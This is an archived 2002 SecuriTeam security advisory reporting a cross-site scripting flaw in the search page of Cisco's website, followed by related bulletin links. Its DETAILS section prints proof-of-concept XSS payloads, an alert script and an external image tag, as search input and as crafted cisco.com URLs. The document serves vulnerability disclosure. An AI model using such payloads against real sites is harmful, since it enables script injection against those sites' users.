[NEWS] XSS Vulnerability Found in Cisco Website

From: support@securiteam.com
Date: 12/17/02

  • Next message: support@securiteam.com: "[NT] Macromedia Shockwave Flash Malformed Header Overflow (Additional problems)" 
    From: support@securiteam.com
To: list@securiteam.com
Date: 17 Dec 2002 22:52:55 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    Beyond Security would like to welcome Tiscali World Online
    to our service provider team.
    For more info on their service offering IP-Secure,
    please visit http://www.worldonline.co.za/services/work_ip.asp
    - - - - - - - - -

      XSS Vulnerability Found in Cisco Website
    ------------------------------------------------------------------------

    SUMMARY

    A Cross Site Scripting vulnerability has been discovered in Cisco systems'
    site. The vulnerability would allow attackers to cause users to view
    3rd-party malicious JavaScript or HTML code as if it were the legitimate
    content offered by Cisco.

    DETAILS

    If you put the following script in the search engine's search field and
    click on the search button, the script will be executed (on the client's
    side):

    "<scr!pt%alert('cisco systems site XSS')</scr!pt>"

    Or, alternatively:

    "<img src%"http://www.host.com/image.gif">"

    This URL will have the same effect, without the need for user
    intervention:
    http://www.cisco.com/pcgi-bin/search/search.pl"<scr!pt>alert('cisco
    systems site XSS')</script>"

    Similarly:
    http://www.cisco.com/pcgi-bin/search/search.pl"<img
    src="http://www.megahz.org/images/megahz.gif">"

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:megahz@megahz.org> Andreas
    Constantinides (MegaHz).

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

    Relevant Pages

    • [NEWS] Active! mail Script Execution Vulnerability
      ... HREF="http://www.transware.co.jp/ ">TransWARECo. is a web-based e-mail ... malicious <script> tag in the header, the script will be executed upon the ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [TOOL] NTAL, Network Traffic Analyzer
      ... you write a script ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [UNIX] vBulletin XSS Injection Vulnerability (perpage)
      ... the script will output an error message [Due to script doesn't ... checks on inputs and filter it], printing the query and revealing its ... This bulletin is sent to members of the SecuriTeam mailing list. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [UNIX] "UNIX Manual" PHP-Script Allows Arbitrary Code Execution
      ... filter dangerous characters which results in arbitrary command execution. ... It seems like the script pipes requests directly to the shell without ... The information in this bulletin is provided "AS IS" without warranty of any kind. ... In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages. ...
      (Securiteam)
    • [UNIX] vBulletin XSS Injection Vulnerability (perpage)
      ... Vulnerable systems: ... * Jelsoft vBulletin 2.2.9 Release Candidate and prior ... the script will output an error message [Due to script doesn't ... This bulletin is sent to members of the SecuriTeam mailing list. ...
      (Securiteam)